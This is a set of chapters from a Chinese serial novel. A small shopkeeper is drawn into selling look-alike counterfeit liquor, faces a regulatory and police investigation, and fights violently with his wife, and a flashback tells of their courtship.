在大厅沙发的背后,有一面墙是用来做的装饰墙,给人的感觉文化氛围很浓重,墙上面装成一个书柜的样子,中间的许多格挡里都放着各式各样的书。
到了电梯门口,董雷看到喇叭男并没有按电梯,而是直接把右脚伸向了右边的自动刷鞋机,那台自动刷鞋机就快速的转了起来,过了几秒钟,当喇叭男把自己的右脚抽回来的时候,董雷发现他那个被自动刷鞋机刷过的右脚皮鞋显得非常的干净。
接着他又把左脚伸了进去对董雷说:“你要刷一下。”
董雷站在喇叭男的后面看着说:“你先刷,刷完了我试一下。”
喇叭男把左脚退回来以后对董雷说:“你刷吧。”
董雷也把右脚先伸了进去,没想到鞋刚一挨上那毛刷,刷鞋机器就自动转了起来,吓了董雷一跳:“我还准备找开关呢,没想到还是自动感应的,真有点儿不适应。”
喇叭来笑了:“用的时间长了就习惯了。”
两个人进了电梯以后,看到喇叭男按了一下8层。
“昨天我们对你的那个批发部实地考察了一下,真的是不具备条件,我这一次也是让你的固执给感动了,所以才打的这个电话,求爷爷告奶奶给我们主管说了半天,他才让你和他去谈的。”喇叭男似乎在表着功。
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第63章 代销产品有条件,明知有错仍进行
当董雷正在心里美滋滋的庆幸,自己终于拿到这款酒的销售权时,权总的一席话,又让他跌入万谷深渊之中。
权总的话,让他还是有点摸不着头脑,给,可以成为古白酒,也可以成为古日醇酒,这是什么意思?董雷还是没搞明白。
董雷疑惑的看着坐在办公桌旁的权总,又看了一眼站在自己旁边的喇叭男,小声的问:“两款酒,同时销售?”
房间里的气氛似乎凝重了起来,喇叭男没有吭声,他看了权总一眼,权总毫无表情的说:“董老板,不用紧张,你先坐,听我给你说,”
权总往办公椅后一靠,把两只脚放在办公桌上:“既然你死心塌地的要做我的酒,那我就告诉你,你一天在现场也看到了,我们的这款酒,无论是从包装和设计上,都是几乎和古白酒是一模一样的,任何人的第一感官视角上认为它就是古白酒,你有这种感觉吗?”
董雷点了点头。
权总接着说:“这就是对你一个最大的福利,任何人第一眼看到你的酒,肯定认为是古白酒,他的目光肯定会被锁住了,而我们的古日醇酒,你注意到没有,那个醇字是很小的,一般人不注意这个细节的,至于日和白,我们选用的是一个字体,不细看没人注意那一撇的。这你也承认了,所以呢,我们根据古白酒的这种标签,开发研制了和古白酒非常接近的商标标签,我们在推出新款的同时,也从厂家进了一部分古白酒的商标,如果你要经销的话,两种商标,我们都是有的,这种选择是你自己的选择,权利就在于你自己,你看你是怎么选择?”
听了权总的话,董雷明白了是怎么回事了。
但自己一直要找的主管,竟然并非是厂家的人。
董雷一阵惊慌,急急忙忙的想抓住商机,赚大钱,却不料竟要求如此操作。
权总看着犹豫不决的董雷说:“哎呀,我说董老板啊,你想发财,想赚大钱,靠你那百货批发,能赚几个钱?现在社会撑死胆大的,饿死胆小的。目前利润最大的就是烟和酒,特别是酒类行业,你都意识到了,固执的要和我见面谈合作事宜,眼前这么好的机会,你不利用?你现在又想放弃,你想这可能吗?”
权总说完,看了一旁的喇叭男。
喇叭男低着头,只是抚摸着他左手手背,董雷这才发现,喇叭男的左手上竟纹了一个字,一个很大的“死”字!
听了权总的话,又看着喇叭男手背上的字,董雷倒吸一口凉气,觉得不寒而栗。
怎么都没想到?自己急急忙忙的想找他们的主管来谈的生意,现在才发现存在着许多不合理的地方,董雷的心砰砰的乱跳着,他的脑子里飞速的转着,赶快快快赶快,想一个脱身的方案,快快快!
人在情急之下,一般脑子都是空白的,根本不会马上想出一套既合理又合情的理由来。
就在董雷的脑子高速运转的时候,听到了敲门的声音。
喇叭男把门打开了。进来的竟然就是今天在物资交流会现场见到的几名工作人员。
董雷正准备和他们打招呼,会上的那位年长者看到董雷,惊呼一声:
“哎哟,这位大哥还在这,真没想到,挺执着的。目的达到了。”
“还用你们说,真是世上无难事,只怕有心人呐。”另一个工作人员说。
进来了三四个男青年,一下子把沙发占完了。
董雷看着他们
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一个个阴阳怪气的样子,心里真是紧张,看起来今天的这桩生意,真是自找苦吃。
那位年长者走到权总跟前,在他耳旁嘀咕了一会儿,就对几个刚进来的工作人员摆了摆手,那几个工作人员跟着他出了房间。
看着出了房间的工作人员,董雷悬着的心终于放了下来。现在的形势,对他来说,就是一种威慑,隐形的在告诉他,今天的酒,你买还得买,不买也得买。想到这,董雷认为,好汉不吃眼前亏,那就先买一部分脱身走人。
“董老板成交还是放弃?你选哪个方案?权总等着你回话。”旁边的喇叭男开口了。
董雪定了定神,看着权总说:“你想我费这么大的周折不成交,能说的过去吗?”
听了董磊的话,权总笑了笑:“董老板是个聪明人,我知道我们的合作是愉快的,”说完,他有意识的看了一眼旁边的喇叭男。
喇叭男走到董雷的跟前说:“最低起货量30件,一共600元钱,只要你付钱,货肯定给你送到,你现在选择一下,你是用哪个商标?”
董磊想了想说:“你们也在我的批发部考察过了,地方确实太小了,30件货回去,我根本没地方放,权总,你看要不要给我给上20件货?”
“不行,最低起货量就是30件,这个没得商量。”权总坚决的说。
“不是,权总,你看是这样的啊,我肯定是要咱的货,这是第一,第二呢,如果货卖的好的话,我肯定还是存在着一直进货,那地方太小了,今天出来也走的匆忙,没有告诉妻子,让她挪点地方,如果30件拿过去,我真的没地方放。”
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第64章 退酒不成急隐藏,还未实施被查扣
现在电话那头的那个人死不认账,董雷碰了一鼻子灰。
他又一想,也是啊,自己根本没有什么证据,人家给自己写的清单,也因为那天晚上喝了一点酒,根本就没拿,交钱也没让权总打收条。
现在自己的手里没有任何的证据来证明那个人是给自己供酒的人,况且电话里储的存的那个人只是个跑腿开车的送货人,而和自己谈合作的权总的电话早已成空号。
既然供货这边不能承担责任,那就先看看工商这边,到时候是个什么处理意见?
反正我现在一口咬定,你们工商所说是举报人提供的,说的他们是喝我的酒出现症状的,我现在的要求就是,请举报人提供他们所喝的酒,就是我卖给他们的酒,只需要这一条证据就行了。如果证据提供不过来,我根本不会承担这件事的。
想到这,董雷骑上摩托车,从田间的小路向城里驶去。
电话打不通,我就去皇佳酒店818找他本人!
骑着摩托车的董雷想,见到权总商量一下,看能不能把这些酒赶快拉走。
到了皇佳酒店门口的附近,他发现酒店门口停着许多的消防公安的车。
出啥事了?
董雷正在疑惑的盯着酒店的周围看,一位身着行政夹克的人走了过来:“这里不允许逗留,请赶快离开。”
“我就在这酒店去问个话,上去一下,马上就下来,”董雷完全没有在意行政夹克人的话,他下了摩托,准备停放摩托车。
“唉,不是告诉你不能停车吗?赶快走!”行政夹克人大声说道。
“就上去问个话,很快的,马上就出来。”董雷停好摩托,准备朝酒店大门靠近。
“我再次警告你啊,今天这里有公务,这里不能停车,听到没有?请尽快离开!”行政夹克边朝董雷身边靠近边大声的呵斥道。
董雷也是不长眼色,看到行政夹克用手指着他,他还有意识的把摩托车停在那里,准备进酒店的大门。
“让你把摩托骑走,你听到没有?”行政夹克的人提高了嗓门向他跑来,准备阻止。
就在行政夹克的人阻止董雷行为的同时,已经有三四名同样穿行政夹克的青年人从后面向他进行包围。
“我就上去问个话,你在这喊啥?”董雷说着,眼看就要进酒店的大门了,就在这时,那四名行没夹克的年轻人,几乎同时扑了上去,把董雷按倒在地。
仿佛如闪电一般,以迅雷不及掩耳之势,董雷瞬间被那四名年轻人架着进了一辆车里。
在车的后座上,董雪被两名年轻人夹在中间的位置,坐在副驾的一位中年人转过头来,向他出示了警官证。
董雷一阵懵圈,什么情况?
“我咋了嘛?“董雷看到了警官证,知道他们是公安的人,就莫名其妙的问。
“你说你咋了?”那位中年人收起了警官证:“你没听到我们的警告吗?”
“没有啊,我一点都没听到。”董雷解释着。
“听不听见无所谓,说说你要进入酒店想干什么?”副驾的警察问,坐在驾驶位上的司机开始做着笔录。
“我就是想去找权总。”
“干什么的权总?”
董雷突然不吭声了,毕竟自己现在刚从工商局出来,工商局的吴队长已经告诉他,因为他从权总这儿进的这批酒,出了一点问题,这个事还没有处理完,现在又按
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让公安给摁倒在这了。
想到这,董雷一阵害怕,莫不是公安也知道我的酒出事了?
不可能吧,酒出事也是要去批发部找人的,现在在酒店门口,而且还有那么多的警车和消防车,应该不是自己的事。
要说这董雷心理也够强大,他认为如果公安知道自己的事的话,肯定早在工商局之前就把自己摁倒了,想到这,董雷平静了很多:“他买了我的货后,说今天到皇佳酒店818取钱。”
“买的是什么货?”
“一百米塑料纸。”
“为什么没有直接给你钱?”
“给了一半,剩下的说我的货尺寸不够,不想给,我就天天找他,他说今天在818给完,所以就来这儿了。”
“那人是干什么的?”
“好像是批发食品的,来这儿上咱县的物资会的。”董雷顺口编着。
“他要塑料布干什么?”
“担心下雪,盖他货用。”
“说他的电话。”中年警察对旁边的警察说:“按他说的号码打过去。”
“好,”坐在董雷右边的警察掏出了手机:“说!”
董雷愣了一下,因为权总留给他的电话早已打不通,唯一能联系的就是那个人的电话,董雷的心跳的非常的厉害:“我我记不住他的号。”
“手机拿出来!”旁边的警察从董雷的口袋里掏出手机,翻了一会儿:“快说,是这里面哪一个?”
大气不敢出的董雷,只好把他最后拨给那个人的电话号码告诉了警察。
董雷心里明白,那个人肯定不会承认送酒的事。
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第65章 还在外面找仓库,不知货已被查扣
董雷吃完饭都已经下午三点多了,他思前想后,还是找一个安全的地方,把酒藏起来,现在工商局还没有对自己的酒进行查封,趁着这个时间,先把这些东西先想办法转移出去,这样的话,工商局来了人,他没有证据,就不会对自己进行处罚了。想到这,董雷,想起了今天从工商局出来的时候,他在郊外给那个人打电话时,看到农民的宅院,他心里有了一个想法,于是董雷骑上摩托车驶向郊外。
来到郊外,他把车放在一边,在村子的周围转悠着,村子里并没有多少人,他从东到西转了一圈,看到有一家的门口用毛笔字写着,空房出租四个字,他便敲了敲门。
没人?
他推开大门,问:“家里有人么?”
“在哩在哩,谁呀?”
随着一声应答,一位精神矍铄的老者从里面的房子出来了。董雷站在院子,他看着这房子的布局,前面是一个宽敞的院子,里面只盖着一排平房,看起来似乎是很简单的房屋。
看到董雷后,那位老者问:“你找谁?”
“哦,你好大叔,我看咱们门上写着有空房出租,我想问一下,这个空房子还在不在?”正在看院子的董雷走向老者。
“你是打算长租还是短租?”
“我是长租。”董雷回答很干脆。
“走么,咱进房间说,”说着,老者把董雷邀请进了房间。
“你先看看这房子,你能看上还是看不上?能不能满足你的需求?”老者进了房间说。
董雷看着这房子的布局,刚进门是一个很大的客厅,在客厅的左边有个房间,从客厅直接往后面走,走到后院,是一个用彩钢瓦搭起的棚子,面积是相当的大,后面的整个院子全部都是用彩钢瓦和方管焊接起来的,还有一个后门。
董雷打开后门,东西瞅了瞅,是一条东西街道,过了街道便是田地。
董雷问老者:“你是里面彩钢房出租吗?”
“你说准备干什么用?”
“嗯,我想租一间当做库房用。”
“租一间?”
“对,一间。”
听了这话,老者笑着摇了摇头:“那可能不行,我们如果出租的话,就是个院子出租的,整体走。”
“整个院子?全部出租?”董雷没想到。
“对,房子院子全部整体出租。”
董雷听了这话,心里凉了半截,但他考虑到自己是临时存放就说:“大叔能不能给我腾出来一间房,让我暂时用一下?”
“哦,这个不行,我们要出租,就是整个院出租,单间出租的话,不便于管理。”老者笑着说。
“大叔,你能给我一间吗?我就用几天的时间。”
听了董雷的话,老人问:“那你大概用几天?”
“最多不超过十天。”
“十天?十天?”老人犹豫着,盘算着,过了一会儿说:“那你看这几个房间,哪个房间你可以用?”
一听有眉目,董雷马上指着中间那个最小的房间说:“你就把中间这个给我吧。”
“中间这个?”老者用手指了指那间房:“你说这个小的。那最多有16个平方,你不嫌小?”
“小点没事,够用了。”董雷说。
“那你是临时用?”老人似乎有点后悔:“那我把丑话可要说在前面。”说着,老者看着董雷,停了下来。
“你说,大
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叔。”董雷看着老者。
“我今天把这中间这个小房子租给你,十天之后,如果你还没有把你的东西拿走的话,还是要付租金的,如果在这十天之内,有人来租我们的房子,条件什么都谈好了的话,你必须按咱们的规定到期把东西搬走,如果不搬的话,我们就自行处理,你看这样行不?”
“大叔,你放心,我暂时放的这些东西呢,不影响你出租你的整体院子,如果有人和你谈好了,我马上就搬走我的东西。”
“我想了一下,闲也是闲着,能租出去就先出租吧。反正挂的时间也长了,大部分人来都是只租房子,似乎院子没人愿意要。”老人说。
“院子利用率不高,没人愿意把啥放在风吹雨淋的院子。叔,你说你这一个平方按多少钱给我算?”董雷问。
“这个目前不好说,”老者停了一下说:“中间那个房子大概就是16个平方的样子,你是这,再也不说多少个面积,一个平方多少钱了?你租十天的话,你十天就给我80块钱吧,你看这样行不?行了,咱俩就成交成,不行咱就当没说这回事。”老者很干脆。
听了老人的话,董雷感觉有点贵:“大叔,你能不能再让一点?你这价有点太高了。”
“你如果长期租的话,我可以给你让一点,你只租我十天的时间,都不够我辛苦钱,这80我也没给你多要,毕竟你是短租嘛。”
“大叔,你也是干脆人,我也是干脆人,现在是这,十天我给你60块钱,你看行不行?如果行,我现在马上给你交钱,晚上就进货,从今天开始算时间,如果你觉得不行,用你的话说就是,就当没有这回事,你看行不?”
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第66章 神秘电话乱计划,亲自开车去镇上
此时的吴队长开车正行驶在去往石镇的路上。
他之所以一个人开车,是因为昨天他接到电话,说是董雷的春光商店所经营的那批古白酒是可能存在问题,希望他能尽快把这些酒提前给想办法处理一下。
吴队长听了这个电话以后,他立马就给石镇工商所的王所长打了电话,让王所长去把事主的那一家所用的酒,封扣到工商所里。
现在吴队长要去石镇把那几箱子酒拉回来,为的是,不让那酒放在那里,再引出什么乱子来。
目前让吴队长感到存在的问题是,购买董雷酒的人,已经把董雷的春光商店,举报到了工商局,理由是他们对这批酒的质量持怀疑态度,而且出现了人喝酒后引起不良反应而进卫生院的事件。
而作为春光商店老板的董雷,吴队长把这个举报事件说给他的时候,董雷是死活不承认酒是他的,提出来的要求也是很合理的,怎样能证明事主所举报的那酒就是自己的酒?
吴队昨天已经给王所长也说了要证明的事,希望镇上工商所尽量早点把证明资料备齐。
吴队长今天来的主要目的就是要提前把这批酒先拉回去,避免举报人自行作主把酒送到其他地方检验,这也是他担心的地方。
所以一大早吴队长就一个人驾车去往石镇。
想到这儿,吴队长掏出手机,准备给石镇的工商所王所长打电话。
当他掏出手机的时候,才发现手机一直处于关机状态。
什么时候关的机?
吴所长都不知道,他努力回忆着,噢,想起来了,那个药厂的老板一直约自己吃饭谈处罚金额的事。
那不是自己能决定的事,毕竟副局长一直在亲自抓这个案子,自己只是个干活的人,根本没有话语权,况且还牵涉到药检、卫生、安全等相关部门,自己根本无能为力。
应该是昨天晚上为拒绝徐老板而故意关的,加上早晨急着走,忘了开机。
吴队长打开了手机,他看到有12个未接来电,其中有6个是同一个号码打来的,办公室打了2个,其他的都是不在通讯录名单里的陌生号码。
这么多未接电话?
他首先回复的是局里的电话,办公室通知他,后天上面要来人检查,希望他把所管辖的辖区内的经营户的卫生,环境,资料等管理好,千万不要因为检查而出现什么纰漏。
还不是走个形式嘛。
吴队长挂完办公室的电话,他把车靠边停了下来,他逐个逐个分析着这些打电话的人。
对于那些没有标注只打一次的电话,他不予以回复,但有一个电话号码,一共给他打了六次,他觉得这个电话号码好像比较熟悉一点,他就拨了过去。
电话通了,对面传来一个男子的声音:“你好,吴队,我是董雷,今天早晨去你办公室,没见到你人,有些事我想和你谈一下。”
“哦,是董老板,我今天没在,你是这,我回去以后通知你好吧?”
“那我在局里等你。”
“哦,你不用等,我今天可能回不去,这儿有点事。”
“那明天一大早我过来可以不?”
“我看我这边的事,今天能处理完不?那你说啥事?”
董雷想了想,他本来想问拉他酒是什么原因?但他又回头一想,不能问自己酒的事,他就说:“我就是想问一下,举报我的那个人,他把证据提供过来了没有?”
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“你开什么玩笑?昨天我才给你说的这个事,我还没通知他们呢,他们今天就能把证据给你提供过来吗?任何事都需要有个过程的嘛,要有时间的,我不是跟你说了吗?你给我一段时间吗?好吧,我还开车呢,过一段了再说。”
说完,吴队就挂了电话。
“我想知道你们从我商店查扣我酒是什么原因?”董雷正在说这些话的时候,突然听到电话里传来嘟嘟嘟的声音,对方挂了自己的电话。
整天在外面搞什么名堂,上班时间不呆在局里面,董雷心底暗骂着,一件事到你们这里就拖拖拉拉的,真是占着茅坑不拉屎的家伙!
想到这,董雷又拨通回拨了过去。
吴队长看到又是董磊的电话,拿起来就说:“董老板,我不是告诉你了吗?我正在开车,什么事我回去以后咱们面谈,好吧?挂了。“
说完就直接挂了董雷的电话。
董雷拨通电话,一句话都没说,还让对方挂了,董磊扫兴的看着手机,愣了半天骂了一句不文明的话。
既然吴队长今天不在,事也没办法处理,算了,不等了,回家吧!
出了工商局的大门,董雷跨上摩托向家里驶去。
与此同时,开车的吴队长挂完董雷的电话后,直接拨通了石镇工商所王所长的电话:“王所,你好。”
“吴队你好,吴队你好。”正在写毛笔字的王所长开口问候。
“昨天我给你说的那个事,现在办好了没有?“
“哦,昨天安排人去,没找见人,我现在正安排人,马上就去。”王所长心里知道他昨天打牌根本就没安排。
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第67章 夫妻吵架只为钱,温和性格秒变脸
“54号文件?”吴队长问。
“对,来了就得学习学习啦!”王所长说。
“那就吃完饭学习学习呗!”
于是王所长陪着吴队长进了石镇上王所长认为最豪华的茹姐饭店。
而这时候回到批发部吃饭的董雷,正在和妻子国凤展开了一场口枪舌战。
两个人开始坐在饭桌前吃的时,董雷把工商所拉走酒的原因归咎于国凤阻拦不力,而国凤埋息董雷拿的手机完全是个样子货,根本就不起作用,人走在什么地方都不拿手机,每一次在关键的时候需要给他打电话的时候,不是没电就是没带在身上。
于是两个人在饭桌前吵了起来。
董雷说:“你真是一个不中用的货色,一个大活人在店里,能让他们在你眼皮子底下把东西拉走,你说你能干什么?真是糟蹋粮食的废物!“
“那你有本事,你在这里来守店啊,”
国凤这次竟敢顶撞自己,而且是相当的厉害。
“你他妈的,翻天了,老子我今天说你,你竟还敢顶嘴!”
董雷说着,突然站起身来,一脚把国凤踢倒在地:“你狗日的,自己没能力把人家阻挡住,现在又来埋怨我。”
“既然你看我没有能力,你今天把我打死就算了,”趴在地上的国凤,强忍着眼泪大声的说。
董雷上前一把卡住国凤的脖子说:“你他妈要不是我孩子的妈妈,我真想今天把你弄死在这里!”
说完用力把国凤向地上推了一把。
“你还知道我是孩子她妈,你有本事让我死在你手里啊!”
这句话彻底让董雷情绪失控,毫无理智的顺手抓起桌子上的碗就扔了过去,被国凤躲了过去,撒了满地的米饭。
外面有进来人买东西,拉着脸的董雷,出了房间,他给客人备完货后并没有进到里面的房间,而是生气的坐在柜台前。
跑了几次工商局,没有找到人,问题无法得到解决,自己租下房子,正准备放货,又被工商局给拉走查扣,妻子的软弱无能,所有的这一切都与自己这个不能独当一面的妻子有关。
左邻右舍的批发部都在正常营业,做着自己的生意,而心里生气无处发做的董雷再一次把妻子国凤当成撒气的工具,火力全开。
对于董雷刚回到家的埋怨和牢骚,国凤一直在强忍着不发作。
一向胆小怕事的国凤,正是这种有苦不吭声,有难不诉说的行为,纵容了董雷的为所欲为,从而肆意胆大对她经常性的进行殴打和谩骂。
而今天,董雷刚回到家,就对她的一阵谩骂,现在再次对自已动手。国凤忍无可忍。
她从地上爬起,来到柜台前,隐忍了十几年的情绪,终于爆发,一发不可收拾,整得董雷今天都不知道说什么好了。
“董雷,我今天告诉你,我国凤也不是好欺负的。今天你要不把我搞死,我就弄死你。”
国凤把柜台上的计算器往地上一甩:“今天我要亲眼看你咋样弄死我,来啊!”
董雷从来没有见过国凤有今天这么的愤怒和暴躁,以至于他看到国凤都有点害怕。
董雷大气不敢出,呆呆的坐在柜台前瞪着国凤。
“我问你,这么多年来你把我当个什么?你从来就没有把我当过人,你高兴的时候,就认我是你娃他妈,你不高兴的时候就把我当成是一堆狗屎。
董
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雷我告诉你,我已忍你这么多年了,一个巴掌是拍不响的,我也不是怕你,如果不是孩子,我可能早就不能忍受你了。告诉你,忍让并不等于软弱!”
听到国凤的话,董雷还是很吃惊,他没想到一向很少顶嘴的国凤,发起彪来是如此凶恶。
今天突然冒出这么多的话来,而且这话的意思里面还有很强烈的对自己不满:“你我俩是夫妻,你忍了这么长时间咋了?难道你还有别的想法吗?”董雷的语气却显得温和了许多。
“我当然有别的想法,我不是告诉你了吗?如果不是孩子的话,我早就和你想一刀两断!”
“一刀两断?”董雷从来没想到,妻子国凤还讲出这样的话来:“你竟有这样的想法?”
“当然有了。并不是我有这样的想法,而是你把我逼的,我只能做出这样的决定!”
国凤哭着说:“你想想,自从我进你们董家门,你把我当丫鬟一样使唤,我就不明白,为什么我要老看你的脸色行事呢?难道我是活在别人的世界,为别人而活吗?
就说你打我骂我,我都能忍受,但我这样老在提心吊胆过下去,不是长久之法呀,我心里过的憋屈,一有气就往我身上撒,任何不顺心的事都归咎于我,我到底做错了什么?你告诉我呀! 我在学校里上班上的好好的,你死磨硬缠让我和你一起经营这个破店,我当初不同意,就说我的性格不适合做生意,你倒好,跑到校长那里去,吵着闹着要把我从学校叫回来给你帮忙,回来快一年了,你看你这店里是什么情况?你心里不清楚吗?我在学校的时候,我们的经济还是可以的,现在呢?”
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第68章 母亲煞费苦心,欲催儿子婚事
春节前的一天,董雷用自行车驮了一袋子面,快到县中心小学的门口路过时,忽然听到后面有一个女生在喊:“快停下,快停下,撒完了,撒完了。”
听到喊声的董雷急忙下了车,当他扭头往后看的时候,脸一下子全红了。
车后面站着一女孩子,正在看着他往地下洒着面粉的袋子。
原来面粉袋被自行车的辐全磨烂了,骑过来自行车的轨迹上,全洒的是白面,洒了一路。
董雷急忙撑起自行车,看着那个盯着自己面粉袋的女生。
看起来有20来岁,戴着一个大口罩,看不清模样但是那一双会说话的眼睛显得是那么的明亮和清澈,长长的眼睫毛上下在动着,似乎和洋娃娃的眼睛一样让人看起来着迷。
怀里还抱着几本书,穿着一件红色的夹克上衣,里面有一件高领的黑色毛衣,下面穿着一条黑色的裤子,脚上穿着一双黑色的皮鞋。
看到董雷看自己,那女古的眼睛里透着一丝疑惑和不解,仿佛在告诉董雷,你是干什么的?面都洒了,你还没有发现一直往前骑行。
女孩走到董雷的跟前,用戴手套的手把面袋子轻轻的拍了一下说:“快把面袋子翻过去,要不然就撒完了。”
愣在那里,不知所措的董雷,忽然好像一下明白了什么似的,他马上把面袋子翻过来,但是袋子的脚下已经磨烂了,还在往外流着白哗哗的面粉。
看到这种情况,那女的急忙从自己的口袋里拿出一根红头绳说:“先用这个把烂了的地方轧起来吧。”
着急的董雷接过女孩递过来的红头绳,把面粉袋子那破了的地方用那红头绳轧了起来,完了以后,董雷不好意思的回过头对女孩说:“谢谢你啊。”
女孩说:“谢什么?”说着就往前走去。
董雷一阵懵圈了,不知说什么好,就说了一句:“你真是个好人。”
听到这话,那女孩扭过头了,哈哈大笑了起来:“我也是学雷锋的,做好人好事的。”
说完,女生一右转进了县中心小学的大门。
望着女孩远去的背影,董雷心里高兴的说,世上还是好人多啊。
“怎么这里还用女人的红头绳轧起来了?”
回到家,董雷把面粉刚放在厨房,做饭的母亲第一眼就看到面粉袋上的红绳线。
“什么红头绳?”董雷不知道妈妈说的是什么意思?
“你面粉袋子上拴的这个红头绳是哪来的?”
董雷就把自己的经历讲了一遍。
听了儿子的叙说,妈妈高兴的说:“那那个女孩和你是不是有缘分了?他在哪上班?”
“哎呀,我的老妈,我哪知道,我就是看见他进了县中心的小学了。”
董雷虽然是这样说着,但是那女孩那一眨一眨的大眼睛,还是在他的心里留下了难以忘怀的印象。
“你真是个瓷锤,20好几的人了,也该找媳妇了。”母亲边做饭边说。
董雷笑了笑说:“还早着呢,急啥呢?”
在一旁的小妹说:“哥,你是不是有女朋友了?”
“去,小孩子胡喊什么?”董磊瞟了一眼小妹。
吃完饭后,该上班的去上班了,弟妹外出找同学玩去了。
董雷妈妈把家里收拾停当以后,他就从面粉袋子上把那根红头绳解了下来,毕竟儿子也老大不小了,也该找媳妇了,作为母亲的她,认为女孩子能把红头绳拿给你应急,
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用来在面粉袋子,也算是一种缘分吧。
行不行?我下午先去见见。
想到这,董妈妈拿上包好的红头绳,买了些水果就来到了县中心小学。
80年代的学校管理都不像现在这么严,董妈妈轻而易举的就进了学校。
放了寒假的学校,现在冷冷清清,似乎根本就没有人一样。
董妈妈漫无目的的在操场上转着,这时候走过来两个干部模样的人,其中一个人问她:“你在这儿是找谁?”
“我是来找人的。”董妈妈说着便把红头绳拿起来给面前的人看。
两个人面面相觑。
“你这是?”其中一个不明就里。
“我找一个做好人好事的人。”董妈妈干脆的说。
“好人好事?”那人似乎还不明白。
“我早上不是买了一袋面,走在学校门口的时候洒了,是你们学校的一位老师,把她的这个给了我,让我把袋子轧起来了,我现在给他来还这个东西。”
听了董妈妈的叙说,两位干部模样的人面面相觑:“你问没问她叫什么名字吗?”
“当时着急没有问。”
“衣着打扮有什么特征?”
“红色夹克,黑裤子。”董妈妈记得最清的一句话就是儿子说给她的。
“噢,张国凤。”一个老师突然喊出了名字。
“哦,对,是国凤,她今天值班。对,是的是的。
“你们说的老师他姓张。”
“对对对,他一直在值班。”
董妈妈顺着那两个人给她指的方向,来到了学校的教师宿舍旁。
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第69章 母亲牵线姻缘成,经商不规心忐忑
董雷被母亲的一句男人真没出息的话,第二天被激到到了学校。
是啊,自己既然对那个女老师有好感,为什么连见她的勇气都没有?
站在学校操场,手提着饭盒的董雷清晰的记得,母亲告诉他,刚进校门一直朝最里面走。
走完三栋教学楼,再走完操场,教师宿舍就在操场的后面。
那是一排平房,有十几个宿舍,从东往西数第三个房间就是张国凤老师的宿舍。
现在,看到那一排宿舍的董磊心突然砰砰的乱跳了起来,他也不知道为什么,走的时候还信心满满,现在进了学校,却如此的紧张和害怕。
看到了教室的宿舍的那一排平房,董雷犹豫了。
我是应该去敲门,还是不应该敲门?
如果门开了,我该说什么?和老师家谈什么?董雷脑子里一片空白。
从小长这么大,还没有像今天这样的口干舌燥,不知所措。
董雷就这样在犹豫不决中过了将近半个小时。
终于,他用手拍了拍自己的胸脯,大胆一点,勇敢一点,别怕,自己给自己打气加油。
董雷鼓足了勇气向宿舍的第三个房间走去。
马上就要上台阶快到房间门口的时候,宿舍门突然开了。
董雷惊了一下。
他看见披发在肩的的一个女老师,端着一盆水出来了,正准备把水倒掉,忽然看见离自己不远的董雷,那女老师也是吓了一跳。
瞬间两个人都的目光对视了一下,董雷觉得这女老师的眼神并不是她记忆中那一眨一闪的眼神。
霎那间的四目对视,两人都不知所措。
是不是母亲搞错了,把宿舍记错了,这个陌生的眼神直接告诉董雷,这不是那天的那个女老师。
缓过神的董雷又重新数了一下,没错呀,从东往西数第三个房间呀。
“门口咋有个小伙子?”
和国凤关系铁的小刘老师,倒完水边关门边小声对正在梳头的国凤说。
“小伙?”国凤停下手中的梳子:“在门口?”
小刘老师用手朝门外指了指点了点头。
“大过年的,小伙子站在门口干啥?”国凤不解。
“图谋不轨?”小刘老师脱口而出。说着顺便把门背后的拖把拿在手上。
“不会吧?大白天的。让我看看。”说着国凤便蹑手蹑脚的走在窗户前,把窗帘掀个缝朝外看。
“李老师。”
还没顾得看,外面一个男人的声音把国凤吓了一跳,窗台上放的刷牙杯子被她的手无意识的撞掉在地上,咣咣珰珰在地上跳着舞。
两个人在宿舍小心翼翼地的眯起眼睛,嘴角上翘。
两个人相互看了一眼,小刘老师放下拖把,朝国凤点了点头。
国凤把那天面袋子的事已经忘的一干二净,当她把门拉了一条缝,伸出头时,对门口这个小伙子记的似是而非。
“我妈让我来取篮子。”还没等到国凤开口,看到那记忆中的眼神,董雷一眼就认出来了,他开门见山的说出了自己的目的。
“你说什么?”伸出头的国凤此时脑子还在高速运转,试图快速检索记忆中的这个人,因为她真的没听清楚。
“哦,我妈昨晚送给你的吃的,让我来取篮子的。”
国凤的一句话,增加了董雷的勇气。
“取篮子?”疑惑的国凤眼睛又眨了几下眼,忽然好像明
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白了:“哦,我知道了。”
国凤转过身来对小刘老师说:“判断失误,警报解除。”
小刘老师疑惑的盯着国凤。
只见国凤从桌子上取上篮子:“这是给咱俩提供生存食物的工具,得还人家。”
这下子,小刘老师和国凤放下了所有的戒备心,他拉开了宿舍门。
站在宿舍门口的董雷这才看见宿舍里是两个人。
看到国凤拿出来的篮子,董雷连忙把自己手中饭盒递到国凤面前:“这是早让给你送的饺子。”
国凤愣在那里,不知该不该接董雷手里的东西。
小刘老师上前一步接过董雷手中的饭盒:“你妈为什么要给她送吃的?”
董雷没想到会问到这个问题,想了想,紧张的说:“要感谢张老师的。”
小刘老师不解的望着国凤:“什么感谢?”
国凤没吭声,笑了一下:“我也想知道。”
“你也想知道?是不是搞错了?”小刘老师一头雾水?
国凤把篮子交到董雪手中:“你等一下,把饭盒也捎回。”
说完,从小刘老师手中要过饭盒,放在桌上,再从抽屉里取出一个不锈钢饭盒,打开盖子,往里面倒了点开水烫了烫,便把桌子上饭盒里的饺子倒了进去。
在一旁的小刘老师心里好像明白了什么:“这饺子闻起来真香!”
“你就知道吃。”说着又用开水把董雷提来的那个饭盒烫了一下,把水倒进盆子里,用纸擦了擦饭盒周围递给董雷:“为什么给我送东西?”
“就是感谢嘛。我妈说你一个人就让我送来了。”
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第70章 证据到手无话说,妻子想要操旧业
当吴队长问到董雷,那批酒是不是和举报的酒有关系时?董雷不吭声了。
吴队长,端起杯茶往后面的办公椅上一靠:“董老板,这个事你一定要考虑清楚啊,如果人家举报的,这就和你店里的酒是一样的,那你的麻烦就大了。”
“你说我店里的酒,什么酒?”董雷又装起糊涂来。
“你刚才不是老问我,说我查扣你店里的酒吗?现在又问我,绕我呢?”
“不是,吴队长,我的意思是你们已经把责令整改书给我下发了,咱们前面的事还没有处理,你又让他们把我店里的酒查扣走了,这不是我担心事越闹越大了吗?”董雷忙解释。
“董老板,你等一下,你说我把你店里的查扣走了,你店里的是什么酒?”
董雷愣了一下,他不能说出这个酒,但是不说的话,又不知道这批酒的下落,想了想,他说:“不是那天下午你们的人把我库里的酒全部拉走了吗?”
“谁拉走的?”吴队长一脸茫然。
“不就是你们的工作人员拉走的吗?”董雷小声说。
“我们的人,我咋不知道?”
